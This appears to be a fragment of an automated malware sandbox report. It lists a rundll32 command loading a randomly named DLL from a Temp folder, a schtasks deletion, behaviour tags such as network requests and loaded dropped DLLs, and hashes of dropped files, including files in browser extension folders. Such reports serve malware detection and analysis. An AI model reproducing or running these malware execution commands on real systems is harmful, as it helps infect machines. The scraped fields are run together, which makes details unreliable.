C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\ZCDJPBcy\qOGTqyv.dll",#1 /gEsite_idacO 3851181⤵PID:2028
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\ZCDJPBcy\qOGTqyv.dll",#1 /gEsite_idacO 3851182⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1032 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "BinjFlxHFUMMGNOij"3⤵PID:4752
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5b5faed27d8f4b66cba8b7424ded6c38b
SHA186fcc23a43acd06a5b146dfaa240cbda0bcb8513
SHA2563b4d39c4c51bba7a5921c157b9d7b8aba61d35b233f019d9a77bd69ac15ea5f1
SHA5124f3a75d7cd97ce857e6e5be907595ce468b4d1a0fe0e19a8947c15ecaf5283995da13427b274c6f6fbfc25ca943e019cdb52aa2a0734208e9a31e0aaba465fb7
-
Filesize
2KB
MD5dc9628fa8c89bb74b87823a3d54fc3f7
SHA1a1fd5eddb0abca012155d2bddd20b0fcc6769421
SHA256b07236dd4f9e9bb8b290da3d4e94035424b8d659330922b6a717b3b7f721d0ea
SHA51225867526fb973cd8b23d739956bac809c99ad743f783b51a78898388fffd40da79755fc348822c7065f7f3646f861f844451f0af3aaee7e7da56042dcd190b30
-
Filesize
2KB
MD5f1a2e37bc9905658fc013ce649d0ef53
SHA13e2f7d0f29557789dcc39f752cc46f8cd83ac0da
SHA25682516740dc038da91b6d20931346cf2e330fe1323fcc0f71d0f46f44978f2a70
SHA512dbeadaa70e83060a87e9b0eadd79a7fa5df67c2b1fde840765a5bc77308b311a9f9f347396dad7acb3620a5aa395ad7eff8cd2fd3ead5745b6c62d030c6fabba
-
Filesize
2KB
MD575dcfea47225562a856f85a72b459d99
SHA1f505682d1fb881615a285458d96b64436a14a4d2
SHA256d39d60d305fe9169a8434ee0a8ecc5f7cf8be1394020d27af26aefe3792d8e37
SHA512e361bb3cd4eebd2dfee89cc643fa3ffaf57b049199eb6c5fc41bbd6f763fb23da110f2d1b827309d25114b574334718e5388a0de5f8702c683c541aa172747bb
-
Filesize
2.0MB
MD55afb20b6db2d3a25749ad858deb9e62d
SHA186b3cf6d4f1e6768cde236b470cd24517666dd43
SHA256670812d39ed1a31165d85fd16d7e1554c37d80074d59252b4dd23cd7e0ff1bc7
SHA5124f656edc59dec0719daacc259e74768c32c4d2f99145da33c149b4102b86b9d970cc7b4bbae7c3f94d49480c5e814a6eed0d4af158342ac3cbed03de329640a3
-
Filesize
2KB
MD5f3bdb727e58226a8ed56b936e800817e
SHA1146c795e27dc59be68271f06e489e9fc70daf93e
SHA2565f5bf0b34c0bf23d287dd95aff5651e1df7a5187d1f545daa1c57c5bcd4e356b
SHA5126c38dfc6d7b0bfa1e14698d41b3fa7e26e00a4265fcaba0701b9b73376877f3d3df00fd9da6dd5a6d646f500f990068b9783b7bcc507de27fb5a3b3793522cc5
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD56568eaddc24877e8adccaceef783774f
SHA113055ae3ee7d7c5c6555462c5b8c1ddfc262effb
SHA2562c801e61a0ef72828b905684ecf202589071c93ded9e88b7da81f3c496d7eb0b
SHA51291e94ae021496cecc4e156e837e244530017630ddc9d0b4a374b24ef53e262b15ece51008ed59732b1103696ac5c466ac741c26ffb0863b638a463a12a30ba6c
-
Filesize
34KB
MD5001a39e0c21b36d6e41f4880c1cb3f4e
SHA1acf3ecdda6b252e444c936cddc759ebb03dddbb0
SHA25618120d3d844ee80ea5d7272f3700cfc0e52671b09fe9c059dcd3506bdeddfd90
SHA512899cc5b718f3e755b5d1d5a28c2e5c934b905260f2296f4c82b086efc92a9582fb3b7961ec0761965661dfd05cfb1d893cb1fafc0ed362ef81d45e1cb90c6e80
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
Filesize151B
MD5bd6b60b18aee6aaeb83b35c68fb48d88
SHA19b977a5fbf606d1104894e025e51ac28b56137c3
SHA256b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA5123500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
-
Filesize
9KB
MD55a22016190d31ef84b7838347508d724
SHA1eb1cb8f1ea94e866e9f3670f15f01a8c0ec504f3
SHA25629ceab1c9e6173b8c01d4be4c9d07b50e91c6ce8fcc44739bf0999dd8e591009
SHA512a5714c1b8d5ee6898d1709aa73c602b1bd323cb293ed8c3ca8462af2d8cb3f89afd81cab567048e359f894372ce5591f4fa588cbfa65c378716171ab8b62231c
-
Filesize
11KB
MD59dc1612473e2bebe334fd86c7b3d16eb
SHA1093f0f1c10084b5102d1aacb25e826d9d3849c7d
SHA25616d78844a17c047eb94edf86dc51b43526bb955583bac69efb3d22b3b045b3df
SHA5120f00cb0446c0157cd7f4e9981c901c428aab820058acbe8e50545be4aaa3710b7468f95ad8adc5932fb3e6833bc2619b6f23771e74e792b2802d75d08ba90602
-
Filesize
6.7MB
MD5179fb197a3d7311375c9037091fc224c
SHA1802c18d747c379acd9c9a1fcae6e29636b7bd224
SHA256ff3ef3388be54902b91b3833f2abea5b31fe50f4b5f1cc8be06d6aca1b6683b9
SHA512c2d30d078c1358fcbfa5079893ab21c745df2532deee61b84e3eec395efeded6769a73c3d961fbb7f71260a6303e0f9cf22f37111fb90e7b8d4e4fdbd0337317
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD54e7831d2b9b650b8b84782e91e021fe1
SHA1a384846d2bbabe9f29540fd0bfe5b1b05cdf213b
SHA25691b821a6fcd77f784f6a67e0d6338fb7e56fbe7bf8f9ca4c61474fad2ab28c23
SHA5129c6e84d3873e5c9e6d7f25be6afe997b59ffb3ec39844bfd687cbabebec224ef96f80a62c4a8eb92d2e03e9c0373fc6bb63ad3b54ed6318b8e2b699430ed6ac5
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD533b19d75aa77114216dbc23f43b195e3
SHA136a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA256b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
SHA512676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD5b9b0314d5794fc25d8f6e9a3c0f0caf6
SHA1becb1ad6a1e77a932ead97985400948f2107eef9
SHA256b12b1cff7a5ab505cb429783d59de7722b3dcc650a2e96334c8a4715d01c964d
SHA51286075e3e683f77e4fe7ddf531a94327afc186895d08ac629dcd3d66f6fbb1afd0d0e269a4dc666f98a2186330ae84faf9acf251591d47f6f1db076e610ee5e23
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD50842dfd50ee9f64f1cc835bab876f3fe
SHA1a934ff56eded078f1d460c8723013a633ebfda5e
SHA256819738a2f59f43c1c3404cf3fdcf4c091963ea2617a9dd0183025d995eb2c223
SHA512f709e75a2afe326db44b24059ebc83760c0b2a364926b2b0d9887ab71cb704ed5b97950532b2ca3dfc9fa795311ca10f8d68f924800132858dba0b0010a8e7c8
-
Filesize
6.4MB
MD544f3948cb32c3b8df1fca5ef30116aa0
SHA1c674b72e1e1058d0e29d555abc09d40f0c7c8a0c
SHA25612cd48a7e59081b04ad77863bdfc946ecaeccede9368f6410e05c80ee526a0fe
SHA51209d5de6251c88e853132bc8455f2da4d4922a9059778c5103652da3420cd7f98de983f6e3e9ebbe201bd520ac6dbff4cc95b7f01cf6ea335b05671f99649b5b0
-
Filesize
6KB
MD58c42e38daa3967c0dbd1a7c997277337
SHA16ca32c442c87b1fdb51695f309ab85e0a8b7ac4b
SHA256c83e699501fa76008a08daef520d2f8ee69ee9b1934b67c088637ee175ad6546
SHA512237957f1cb063b22eeb6aa84eaa81dab617d28c35e7ea7ca40c45334d7982edec78c4a87fa16f0a2921f7cbf0267fdcc29a249df97b925f62c1df36fb691f899